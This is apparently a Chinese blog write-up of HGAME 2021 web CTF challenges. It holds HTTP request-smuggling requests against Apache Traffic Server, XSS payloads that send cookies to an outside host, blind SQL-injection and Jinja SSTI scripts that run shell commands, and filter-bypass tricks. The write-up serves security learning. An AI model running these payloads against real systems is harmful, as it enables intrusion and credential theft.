大半年没打过CTF了,考完研来复健一下
Week1
Hitchhiking_in_the_Galaxy
打开页面点击顺风车的链接发现跳回了index.php
,查看源码发现
本应该是去到HitchhikerGuide.php
却又跳了回来,应该是302
了
那就抓包一下
405错误,那就用POST试试
改下UA
再改下Referer
加上XFF
少一个回车就会超时,害
watermelon
这题感觉应该是道js题,但怎么都找不到发送分数的api,于是就直接打到2k分出来了
真的是qnm的大西瓜,看flag hgame{do_you_know_cocos_game?}
像是Cocos2d-x
游戏引擎的题,八成也是分析js,等wp出来再看看吧
看了下官方wp,是可以用cocos debug tools
来操作。不过教程有点少orz
另外,没想到判断是大于1999就给flag,还以为判断是等于2000搞得一直找不到
在project.js
中可以查找到1999
这个字符串
1 | gameOverShowText: function (e, t) { |
对应的是gameOverShowText()
,里面的内容base64解码即是flag
宝藏走私者
这题进入/secret
提示需要有Client-IP
并以localhost
访问,于是带上Client-IP
伪造一下果然失败了
于是尝试找能ssrf
的地方,不过就两个页面也没啥功能,又尝试了一下也不行
再回去看看http包
发现服务器是个没看过的,于是就去查ATS的漏洞,查到了两个CVE,不过想应该不会出CVE的题吧于是就略过了,结果没找到什么东西。疯狂挠头一阵后回去看到题目的名字,突然就想到了http走私
,于是和ATS一起查了一下居然就查到了,就是刚刚被忽略了CVE-2018-8004
后来hint中也给出了文章
协议层的攻击——HTTP请求走私
这里要先了解两个东西,ATS和http走私
ATS全称Apache Traffic Server
,一般架构于网络边缘,用于进行反向代理、缓存储存
然后重点是http走私
上面的文章也说得很清楚了,htt走私主要是由于前端与后端对http请求处理不一致所导致的,主要分为五种
前端处理CL(Content-Length)而后端不处理
结果就是像这样的请求,由于前端根据CL值为44判断是一个请求,而后端不处理CL,直接就认为了这是两个请求
同一请求中有两个CL,而前端只处理第一个,后端处理第二个(CL-CL)
比如像这样一个请求,前端读取第一个CL认为请求体包括了12345\r\na
,而后端读取第二个CL,认为请求体只包括到了12345\r\n
。于是后面的a
就到了缓冲区之中,当又有用户进行这样一个访问时
就会出现没有aGET
请求的错误
在http请求中存在CL和TE(Transfer-Encoding),前端只处理的是CL,后端只处理TE(CL-TE)
在Transfer-Encoding: chunked
下数据格式是这样的
1 | [chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n] |
分块大小的值在前,后面是分块数据。当到尾部时,分块大小的值为0,然后以\r\n\r\n
结束
像这样的一个请求,前端处理CL后认为请求体为6,包括0\r\n\r\nG
。而后端处理TE后,检测到0\r\n\r\n
就认为这个请求已经结束了,G
就进入了缓冲区。结果就是再发送一个正常的POST请求进来,就会出现没有GPOST
请求的错误
前端只处理TE,后端只处理CL(TE-CL)
像这个请求,前端接受后检测到0\r\n\r\n
后才认为请求结束,于是就把12\r\nGPOST / HTTP/1.1\r\n\r\n0\r\n\r\n
认为是属于请求体的。而后端根据CL值,认为12\r\n
请求就结束了,于是连续访问后就会出现没有GPOST
请求的错误
前后端都处理TE
这时虽然处理相同了,但我们可以通过对TE进行混淆,使得其中一个服务器不处理TE,结果造成TE-CL
/CL-TE
的http走私
像这个请求,尝试用两个TE去混淆,使得后端服务器不处理TE只处理CL,造成TE-CL
的http走私
而由CVE-2018-8004
爆出的ATS的http走私漏洞存在于6.0.0~6.2.2
和7.0.0~7.1.3
中,该题中的版本是7.1.2
正好可以用。而后续官方对该漏洞提供了4个补丁,同时也是四种利用
3192 如果字段名称后面和冒号前面有空格,则返回400
若在请求中,在一条请求头的请求字段和:
之间存在空格字段时,AST不会对其做处理,将其作为正常字段处理,然后直接转发给后端服务器。而当后端服务器处理不了有空格的字段时就会产生问题,像Nginx
就会无视该条请求头,不会响应400错误
在这题中我们构造这样的请求
1 | GET / HTTP/1.1 |
第一次访问时访问的是/
当我们连续地再访问一次时就访问到了/secret
原因就是ATS接到请求后,没有去处理Content-Length : 49
字段与:
之间的空格,并认为该GET请求的请求体长度为49,将其作为一个请求发给了后端。而后端处理不了Content-Length : 49
,将其忽略,结果就是
1 | GET /secret HTTP/1.1 |
进入了缓冲区,当我们再访问一次时,后端会响应的请求就是
1 | GET /secret HTTP/1.1 |
结果就访问到了/secret
解这道题的方式就是把Client-IP: 127.0.0.1
放到第二条请求中,连续访问就行了
3201 当返回400错误时,关闭连接
在CVE-2018-8004
所涉及到的ATS版本中,当ATS接收到的请求造成了400错误,依旧不会关闭建立了的TCP连接
这题中我们构造这样的一个请求
1 | GET / HTTP/1.1 |
可以看到服务器响应了两个Bad Request
当AST解析这个请求时,遇到了NULL(\0)
,于是进行截断成两个请求
1 | GET / HTTP/1.1 |
和
1 | bb |
由于遇到了NULL
,AST就直接对第一个请求响应了400。而第二个请求也明显不符合规范,于是也响应了400
修改一下请求再尝试
1 | GET / HTTP/1.1 |
可以看到这次请求中,第二个请求正常响应了。这里其实我不太理解,第二个请求应该是
1 | bb |
应该也不符合http的规范才对,但却成功响应了,试了几次后发现只要第二个请求行前没有两行都能成功响应,这要去翻翻ATS的手册看看了
除此之外我们也可以通过这种方式进行http走私
1 | GET / HTTP/1.1 |
通过这种方式,我们可以将第二个请求设置为恶意网站。将这个请求发送给AST服务器,然后等待下一个访问该服务器的用户,这个用户收到的响应就会是我们设置的恶意网站上。不过虽然理论上可行,但利用的条件比较苛刻。像这道题就不适合使用这种攻击
3231 验证请求中的Content-Length头
更加详细的描述是
当Content-Length
请求头不匹配时,响应400,删除具有相同Content-Length
请求头的重复副本,如果存在Transfer-Encoding
请求头,则删除Content-Length
请求头
也就是说在修复漏洞之前,可能存在CL-TE
的利用
像上面分析的,构造报文
1 | GET / HTTP/1.1 |
连续访问两次后出现405错误
这题中我们就直接在下面构造一个新请求,并带上Client-IP:127.0.0.1
连续访问后,第二次的请求就是
1 | GET /secret HTTP/1.1 |
这样就成功伪装成127.0.0.1
了
3251 当缓存命中时,清空请求体
也就是说,在未修复前,当缓存命中之后,是不会清空请求体,将请求体作为第二个请求去处理
像这样
不过这题看起来没有开启AST的缓存功能,因此无法利用
这题写得比较详细主要还是因为之前没实际做过http走私的题,就把CVE-2018-8004
中每个利用都尝试了一下,熟练熟练
智商检测鸡
这题做得太窒息了,进去就是一个定积分(刚考完研已经ptsd了)
做是不可能做的,看了下源码发现就几个接口
1 | function getStatus(){ |
于是尝试直接去访问一下,就被嘲讽了
不过看到cookie上的session值感觉是jwt,于是就尝试解一下
session中保存的做题数量,想着是不是把token篡改就可以了,于是就走上了一条不归路orz
不过整个尝试的过程也算学到了些东西,首先是jwt的原理,之前一直没有去认真看过
jwt分为三段,分别是header.payload.signature
,都是经过base64编码后去掉尾部=
得到的。header
中一般存签名的加密方式,payload
中存主要的信息,signature
就是前面部分经过hmac xxx
(加密方式,常用的加密是sha256)得到的数字签名,也就是hmac sha256(header.payload, key)
,用于防止伪造
一开始我还以为这个key
可以得到,猜key
可能是pyload
的内容,但token
中的签名长度只有20位,hmac sha256
加密出来的在base64
后都是32位,就很懵逼。hmac sha1
得到的倒是20位但一直不正确,尝试了各种密码都解不出来
然后看到后台是Werkzeug/1.0.1 Python/3.8.7
搜了一下都是关于flask
的,于是查找flask jwt
,找到了一篇文章
浅谈flask与ctf那些事
发现其中的session伪造的密钥还是需要通过SSTI去得到,但这个页面看起来没有SSTI点
于是回到题目
提示了积分全都是ax+b
的形式,这时候我才想是不是真的要全部算一下啊?!于是就用脚本跑出来了orz
1 | import requests |
整了我一晚,没想到是道脚本题,人都傻了
拿最后的token
去访问一下得到flag(假装做了100道
走私者的愤怒
这题是由于之前那题太容易上车了,于是出题人改了一下
可以看到不需要有Client-IP
请求字段,服务器会自动携带
试着用之前的方法连续访问,响应了400
多试好几次,好像是不允许一个请求中出现两个Host
。我们也可以看到,由于是自动添加Client-IP
,因此当我们连续访问时,第二条请求就是
1 | GET /secret HTTP/1.1 |
由于新的会覆盖旧的,因此服务器依旧会获得我们的真实IP
绕开这个IP获取,只需要把第二次的报文直接作为我们的请求体即可,构造一下
在连续访问后成功得到flag,因为第二次访问时,我们的请求实际上是
1 | GET /secret HTTP/1.1 |
第二的发出的报文全都成为了请求体,因此成功伪造Client-IP
不过还是觉得就算改了题,照样还是可以上车呀
#Week2
LazyDogR4U
这题一开始找了一下没找到什么,于是扫一下发现了www.zip
,于是开始分析源码
可以看到flag.ini
中的密码是md5加密过的,看起来不像是能解出来的
1 | [global] |
登录功能很常规,flag需要session中有username
才能访问
于是就来分析与题目名有关的lazy.php
1 | <?php |
auto()
用了自动转载,classname
可以通过上面修改,但flag.php
有验证,感觉没什么意义。主要还是上面这里的处理
本来想着用_SESSSERVERION
这样去绕过过滤修改session
,但在处理后无法成为数组,传进去也没什么意义。最后想到直接把filter
给改了,这样就不用进入这个循环,传入数组也能保留。于是?filter=0&_SESSION[username]=admin
然后再访问flag.php
即可
Post to zuckonit
经典XSS
隔了大半年都不会打XSS了
先测试一下发现script
会被替换为div
,有iframe
向前匹配<
,没有出现>
闭合时就全替换为<div>
,svg`
httpbase
需要双写绕过。有
on时会找到最后一个
on`,并将字符串全部逆序,但保留最后一个on不逆序
绕过也很简单,先把要用的内容逆序,然后在尾部加上on
即可
一开始没想到on
的绕过,于是就找了各式各样的标签尝试,也真的找到了一个<object>
<object data="javascript:alert(document.domain)"></object>
像这样是可以执行js的,firefox下可以,可惜bot应该是chrome的,chrome下不会自动运行
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
而<object>
在这种形势下可以,但是会产生一个新sandbox,解码的语句放在这个sandbox中,无法取得原本的cookie
在找到绕过on
的方法后,就直接用<img>
打了,构造XSS<img src=x onerror="t=new XMLHthttptpRequest;t.open('GET', 'hthttptp://ip?'+document.cookie,!0),t.send();">
然后逆序尾部加上on
>";)(dnes.t,)0!,eikooc.tnemucod+'?pi//:ptptthth' ,'TEG'(nepo.t;tseuqeRptptthtHLMX wen=t"=rorreno x=crs gmi<on
这里是先处理on
然后再处理http
的,因此逆序中还是要双写http
然后md5截断跑一波,提交
放入cookie访问/flag
200OK!!
进入点击reload显示各种错误
直觉在告诉我这是道SQL注入
查看源码发现了requests.js
1 | function randomNum(min, max) { |
在头部设置了Status
发送给后台,于是抓包尝试一下
设置不同的值不同响应,是SQL了
于是尝试一下0'#
没有过滤掉'
和#
,由于出错是无响应的,于是用异或看哪些关键字被过滤了1'^(length(' ')=1)#
可以看到空格被过滤了,同理可以查出select、from、union
被过滤,不过只是replace()
双写就可以直接绕过,空格用/**/
代替
接着查看数据库名-1'ununionion/**/selselectect/**/database()#
然后获取表名-1'ununionion/**/selselectect/**/table_name/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#
但无返回的内容
换一下查询的内容-1'ununionion/**/selselectect/**/1/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#
是有响应的,说明我们的语句并没有问题,那就是返回的问题了。最后使用hex()
处理返回数据成功获得
-1'ununionion/**/selselectect/**/hex(table_name)/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema='week2sqli'/**/limit/**/1#
再去转成str就行了
1 | -1'ununionion/**/selselectect/**/hex(column_name)/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name='f1111111144444444444g'/**/limit/**/1# |
Liki的生日礼物
打开这题,就感觉和去年的那道条件竞争很像
区别是去年的有购入和卖出,今年的只有购入。不过可以看到花完钱就可以买到50张了,差两张我觉得条件竞争还是可行的,于是就放到burpsuit,开100线程跑一波
burpsuit的具体操作看这里
Cosmos的二手市场
跑完回来一看54张,可以直接兑换flag了
Week3
Liki-Jail
看到这个题目,还以为是啥提权的题。进到题目后也没有多少东西,就一个login.php
可以交互,一脸懵逼
于是去抓包,看到了有两个服务器,有一个还是没见过的
于是就走上了一条歪路
搜了一下才知道Caddy
是Golang
的web服务器,默认使用https协议
,也可以作为代理来使用。根据这些信息,就去查了各种Caddy
的CVE,以及Caddy
有没有http走私的问题,但都不合适这道题。于是去做了第二题,发现也用的是Caddy
,才意识到这个只是一个代理服务器,并不是出题者专门留的洞
于是就去查找有关的apache/2.4.29
的CVE,有但感觉也不能用。最后才以瘦死的骆驼比马大的心态,试了一下sql注入,发现居然有过滤。于是就以这个方向来做
通过尝试,可以测出过滤了' " = mid ; 空格
。=
用<>regexp
这些都可以代替,空格
用/**/
,mid
用substr
,;
过滤了无法堆叠。' "
这两个过滤,可以设置username=1\
这样将username
的单引号转义,然后和password
处的单引号闭合,剩下就随我们注了
响应无回显,且登录不上的响应都相同,于是使用时间盲注
尝试了一下username=1\&password=or/**/if(length(database())>0,sleep(6),1)#
成功延时,于是写脚本跑盲注,跑出来
1 | 库名:week3sqli |
但在最后跑内容时username=1\&password=or/**/if((select/**/length(usern@me)/**/from/**/u5ers)>0,sleep(6),1)#
没有跑出内容,还以为是因为设定是维护所以是空表。尝试写读文件都不太行,查了下权限发现只有USAGE
。想提权但感觉也没有什么路子
最后还是回来仔细检查了一下,尝试了username=1\&password=or/**/if((select/**/count(*)/**/from/**/u5ers)>0,sleep(6),1)#
发现居然延时了,那就是表里是有信息的,但把*
换成usern@me
又不行
于是就想是不是@
是个特殊字符,于是放到phpmyadmin
里看看
可以看到@
后面的部分变蓝了,查了一下才知道,mysql
里@
是用来标识自定义变量的。而@@
是用来标识全局变量的
于是就用1
2`or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)>0,sleep(6),1)#`
就没什么问题了
-- coding:utf8 --
import requests
import time
url = r”https://jailbreak.liki.link/login.php"
user = “1\“
l1 = 0
r1 = 100
while(l1<=r1):
timeout = 0
mid1 = (l1 + r1)/2
# payload = 'or/**/if(length(database())>'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)>'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)>'+str(mid1)+',sleep(6),1)#'
payload = 'or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)>'+str(mid1)+',sleep(6),1)#'
data = {"username": user, "password": payload}
print data
try:
http = requests.post(url, data=data, timeout=5)
except requests.exceptions.Timeout:
# 超时则>mid1
l1 = mid1 + 1
timeout = 1
time.sleep(2)
# timeout为0则<=mid1
if timeout == 0:
# payload = 'or/**/if(length(database())<'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)<'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)<'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1)<'+str(mid1)+',sleep(6),1)#'
# payload = 'or/**/if((select/**/length(`usern@me`)/**/from/**/u5ers)<'+str(mid1)+',sleep(6),1)#'
payload = 'or/**/if((select/**/length(`p@ssword`)/**/from/**/u5ers)<'+str(mid1)+',sleep(6),1)#'
data = {"username": user, "password": payload}
print data
try:
# 未超时则=mid1
http = requests.post(url, data=data, timeout=5)
break
except requests.exceptions.Timeout:
# 超时则<mid1
r1 = mid1 - 1
time.sleep(2)
print “Length:”+str(mid1)
flag = ‘’
for i in range(mid1):
l2 = 0
r2 = 128
while(l2<=r2):
timeout = 0
mid2 = (l2 + r2)/2
# payload = 'or/**/if(ascii(substr(database(),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
payload = 'or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),'+str(i+1)+',1))>'+str(mid2)+',sleep(6),1)#'
data = {"username": user, "password": payload}
print data
try:
http = requests.post(url, data=data, timeout=5)
except requests.exceptions.Timeout:
# 超时则>mid2
l2 = mid2 + 1
timeout = 1
time.sleep(2)
# timeout为0则<=mid1
if timeout == 0:
# payload = 'or/**/if(ascii(substr(database(),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
# payload = 'or/**/if(ascii(substr((select/**/`usern@me`/**/from/**/u5ers),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
payload = 'or/**/if(ascii(substr((select/**/`p@ssword`/**/from/**/u5ers),'+str(i+1)+',1))<'+str(mid2)+',sleep(6),1)#'
data = {"username": user, "password": payload}
print data
try:
# 未超时则=mid2
http = requests.post(url, data=data, timeout=5)
break
except requests.exceptions.Timeout:
# 超时则<mid2
r2 = mid2 - 1
time.sleep(2)
flag = flag + chr(mid2)
print flag
print flag
or/**/if(length(database())>0,sleep(6),1)
or/**/if(ascii(substr(database(),1,1))>0,sleep(6),1)
week3sqli
or//if((select//length(table_name)//from//information_schema.tables//where//table_schema//like//database()//limit//0,1)>0,sleep(6),1)
or//if(ascii(substr((select//table_name//from//information_schema.tables//where//table_schema//like//database()//limit//0,1),1,1))>0,sleep(6),1)
u5ers
or//if((select//length(column_name)//from//information_schema.columns//where//table_schema//like//database()//limit//0,1)>0,sleep(6),1)
or//if(ascii(substr((select//column_name//from//information_schema.columns//where//table_schema//like//database()//limit//0,1),1,1))>0,sleep(6),1)
usern@me
or//if((select//length(column_name)//from//information_schema.columns//where//table_schema//like//database()//limit//1,1)>0,sleep(6),1)
or//if(ascii(substr((select//column_name//from//information_schema.columns//where//table_schema//like//database()//limit//1,1),1,1))>0,sleep(6),1)
p@ssword
or//if((select//length(usern@me
)//from//u5ers)>0,sleep(6),1)
or//if(ascii(substr((select//usern@me
//from//u5ers),0,1))>0,sleep(6),1)
admin
or//if((select//length(p@ssword
)//from//u5ers)<0,sleep(6),1)
or//if(ascii(substr((select//p@ssword
//from//u5ers),0,1))>0,sleep(6),1)
sOme7hiNgseCretw4sHidd3n
1 |
|
import requests
import re
open_url = “https://todolist.liki.link/modify/498"
cookie = {“session”:”.eJwlj0tqA0EMBe_Say8k9UdqX8boS0IggRl7FXL3TMj-VVHvuz3qyPOt3Z_HK2_t8R7t3sSlewxK8LEgN8sAJu8EwBsW1d7MCbt3qtlrCvehhRPXEhmBg9gnkBGbdawIw9gRYoJInn_aXlHKes0dsQBBDGAsC90S7db8POrx_PrIz6snjBSKMGWRKi3NvlKdycLVXOaSsZXw4l5nHv8n-mw_vxwmPqU.YCgEGg.AQedmev4_7mmqmVVovMr2tWzDK4”}
post_url = “https://todolist.liki.link/modify/498"
view_url = “https://todolist.liki.link/view/498"
subclass = []
for i in range(300):
https = requests.get(open_url, cookies=cookie)
csrf = re.findall(r”type=\”hidden\” value=\”([^<>]+)\”>”, https.content.decode())[0]
data = {"csrf_token":csrf, "title":"{{''.__class__.__mro__[1].__subclasses__()["+str(i)+"].__name__}}", "status":0, "submit":"提交"}
print(data)
post_url = "https://todolist.liki.link/modify/498"
requests.post(post_url, cookies=cookie, data=data)
view = requests.get(view_url, cookies=cookie)
name = re.findall(r"Todo: ([^<>]+)", view.content.decode())[0]
subclass.append(name)
print(subclass)1
2
3
4
5
6
7
8
9
10
11
取下来后发现`_NamespaceLoader`在第82位,于是直接读取flag
`{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag').read()} }`
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/45a377b0307486524bf1d54573915b30.png)
响应了stop,估计又是匹配响应不允许输出
于是就一个个去读好了
`{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag').read()[0]} }`
import requests
import re
open_url = “https://todolist.liki.link/modify/498"
cookie = {“session”:”.eJwlj0tqA0EMBe_Say8k9UdqX8boS0IggRl7FXL3TMj-VVHvuz3qyPOt3Z_HK2_t8R7t3sSlewxK8LEgN8sAJu8EwBsW1d7MCbt3qtlrCvehhRPXEhmBg9gnkBGbdawIw9gRYoJInn_aXlHKes0dsQBBDGAsC90S7db8POrx_PrIz6snjBSKMGWRKi3NvlKdycLVXOaSsZXw4l5nHv8n-mw_vxwmPqU.YCgEGg.AQedmev4_7mmqmVVovMr2tWzDK4”}
post_url = “https://todolist.liki.link/modify/498"
view_url = “https://todolist.liki.link/view/498"
flag = ‘’
for i in range(37):
https = requests.get(open_url, cookies=cookie)
csrf = re.findall(r”type=\”hidden\” value=\”([^<>]+)\”>”, https.content.decode())[0]
data = {"csrf_token":csrf, "title":"{{''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__[\"sys\"].modules[\"os\"].popen('cat /flag').read()["+str(i)+"]}}", "status":0, "submit":"提交"}
print(data)
post_url = "https://todolist.liki.link/modify/498"
requests.post(post_url, cookies=cookie, data=data)
view = requests.get(view_url, cookies=cookie)
name = re.findall(r"Todo: ([^<>]+)", view.content.decode())[0]
flag = flag+name
print(flag)
print(flag)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
不过复现时乱登录了一下123 123
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/6b7bfffab9b85a01c0a6a91a1a9ce8ef.png)
发现居然登录得进去,里面的payload也可以用,这题都能上车是我没想到的,少用弱密码呀(虽然这题我也用的是123密码)。117对应的类是`_wrap_close`
水平还是不行啊,linux命令依旧不熟悉,直接用base64就能解决的问题还用啥脚本跑呀
`{ {''.__class__.__mro__[1].__subclasses__()[81].__init__.__globals__["sys"].modules["os"].popen('cat /flag|base64').read()} }`
## Post to zuckonit2.0
Week2第二题的升级版,依旧是XSS。和去年一样加上了CSP
`Content-Security-Policy default-src 'self'; script-src 'self'; `
不过实际上难度并不是CSP导致的就是
Hint提示了查看源码,发现`/static/www.zip`有源码,于是拿下来
看源码才知道是用python写的,主要看`app.py`中的内容
@app.route(‘/send’, methods=[‘POST’])
def send():
if request.form.get(‘content’):
content = escape_index(request.form[‘content’])
if session.get(‘contents’):
content_list = session[‘contents’]
content_list.append(content)
else:
content_list = [content]
session[‘contents’] = content_list
return “post has been sent.”
else:
return “WELCOME TO HGAME 2021 :)”1
2
def escape_index(original):
content = original
content_iframe = re.sub(r”^(<?/?iframe)\s+.?(src=[\”‘][a-zA-Z/]{1,8}[\”‘]).?(>?)$”, r”\1 \2 \3”, content)
if content_iframe != content or re.match(r”^(<?/?iframe)\s+(src=[\”‘][a-zA-Z/]{1,8}[\”‘])$”, content):
return content_iframe
else:
content = re.sub(r”</?(.?)>?”, r”\1”, content)
return content1
2
3
4
5
6
7
`/send`中获得content数据后使用`escape_index()`对其进行处理
`re.sub(r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)`
这条正则整了一下才知道是什么意思,第二个参数的`"\1 \2 \3"`分别对应的是`(<?/?iframe)` `(src=[\"'][a-zA-Z/]{1,8}[\"'])` `(>?)`,将其匹配到的内容取出并合并。本地尝试就算少了一个也没关系,但到服务器上就直接返回空
这个正则就限制了我们只能用`iframe`标签,同时`src`里的内容又不能超过八位,有点麻烦
再去看`/replace`
@app.route(‘/replace’, methods=[“POST”])
def replace():
if request.form.get(‘substr’) and request.form.get(‘replacement’):
session[‘substr’] = escape_replace(request.form[‘substr’])
session[‘replacement’] = escape_replace(request.form[‘replacement’])
return “replace success”
else:
return “There is no content to replace any more”1
2
def escape_replace(original):
content = original
content = re.sub(“[<>]”, “”, content)
return content1
2
替换的内容中是无法出现`<>`
@app.route(‘/preview’)
def preview():
if session.get(‘substr’) and session.get(‘replacement’):
substr = session[‘substr’]
replacement = session[‘replacement’]
else:
substr = “”
replacement = “”
response = make_response(
render_template(“preview.html”, substr=substr, replacement=replacement))
return response1
2
3
4
5
6
7
8
同时只有在`/preview`页面才会进行替换
一开始以为bot只是把访问发过去的内容,于是想怎么绕过正则匹配,但感觉没什么办法。后来用week2的尝试了一下,才知道bot好像是来访问我们的页面,也就是只要我们替换好了自己的页面再让其访问即可
想了一下后想到的第一条路线是,创建一个iframe引入`/preview`,再整另一个iframe引入`/contents`,最后用HTML实体编码绕过`<>`的过滤在创建一个`<svg>`。不过由于MIME设置了`json`不行,于是另寻其路
最后发现不需要用到`/contents`,直接第二个ifame中写js就行
def escape_replace(original):
content = original
content = re.sub(r”[<>\”\]”, “”, content)
return content1
2
`escape_replace()`增加了`" \`的过滤
@app.route(‘/search’, methods=[“POST”])
def replace():
if request.form.get(‘substr’):
session[‘substr’] = escape_replace(request.form[‘substr’])
return “replace success”
else:
return “There is no content to search any more”1
2
3
raplace接口被改成了search接口
到`preview.html`中可以看到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
使用了正则去匹配,在查询内容的两侧加上`b`标签
一开始想着这也没用能修改的东西啊?思考了一会后发现,这里的content是直接放入,而不是将匹配到的内容写入,就是说我们只要这样设置`substr[replace]?`,substr是要匹配到的内容,replace则是要增加的内容不就可以加入我们想要的内容了
比如这里post的是`x`,search的是`x[123]?`
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/bcddca57eedcbfe5ad28ae6714ae1205.png)
匹配到了`x`,同时也带上了`[123]?`
拿剩下的就简单了,由于会添加上`<b>`,`src`会解析错误。于是要闭合`src`再用`onload`去执行js,由于`"`被过滤于是用`'`
于是就是先创建`<iframe src='x'>`
然后查询
``x['onload='t=new XMLHttpRequest;t.open(`GET`, `http://ip/?a`+document.cookie,!0),t.send();'']?``
Search后的就替换成了(加上空格好理解一些)
``<iframe src='<b class="search_result">x[' onload='t=new XMLHttpRequest;t.open(`GET`, `http://ip/?a`+document.cookie,!0),t.send();' ']?</b>'>``
就会执行`onload`中的内容
最后依旧是拿弹回的token去访问`/flag`
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/b05e0dfe1d51cda5952c641b0febf81c.png)
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/0bab4942b85b3c094298e62733b79c25.png)
## Arknights
这题是一道简单的反序列化题目,题目里提示了有`git`,于是用`GitHack`抓一下源码
![](http://shifeng-kaze.cn/blog/hgame2021_web_wp/403db4c44afdf7a5afca7488862ffa7e.png)
获得源码后,`index.php`中可以看到
<?php
error_reporting(0);
require_once (“simulator.php”);
$simulator = new Simulator();
$cards = array();
if(isset($_POST[“draw”])){
$cards = $simulator->draw($_POST[“draw”]);
}
?>1
2
3
4
使用了`Simulator`类,除此之外都是输出的东西,没什么可利用的
而`pool.php`只是一堆数据,那主要就是`simulator.php`了
class Simulator{
public $session;
public $cardsPool;
public function __construct(){
$this->session = new Session();
if(array_key_exists("session", $_COOKIE)){
$this->session->extract($_COOKIE["session"]);
}
$this->cardsPool = new CardsPool("./pool.php");
$this->cardsPool->init();
}
public function draw($count){
$result = array();
for($i=0; $i<$count; $i++){
$card = $this->cardsPool->draw();
if($card["stars"] == 6){
$this->session->set('', $card["No"]);
}
$result[] = $card;
}
$this->session->save();
return $result;
}
public function getLegendary(){
$six = array();
$data = $this->session->getAll();
foreach ($data as $item) {
$six[] = $this->cardsPool->cards[6][$item];
}
return $six;
}
}1
2
3
4
可以看到`Simulator`类中构造函数获得`cookie`中的`session`键的值,并用`Session`类对其进行了`extract()`处理
于是到`Session`类中去看看
class Session{
private $sessionData;
const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
public function __construct(){}
public function set($key, $value){
if(empty($key)){
$this->sessionData[] = $value;
}else{
$this->sessionData[$key] = $value;
}
}
public function getAll(){
return $this->sessionData;
}
public function save(){
$serialized = serialize($this->sessionData);
$sign = base64_encode(md5($serialized . self::SECRET_KEY));
$value = base64_encode($serialized) . "." . $sign;
setcookie("session",$value);
}
public function extract($session){
$sess_array = explode(".", $session);
$data = base64_decode($sess_array[0]);
$sign = base64_decode($sess_array[1]);
if($sign === md5($data . self::SECRET_KEY)){
$this->sessionData = unserialize($data);
}else{
unset($this->sessionData);
die("Go away! You hacker!");
}
}
}1
2
3
4
可以看到`session`是以`.`分为两部分,前面是数据后面是签名,验证成功则反序列化
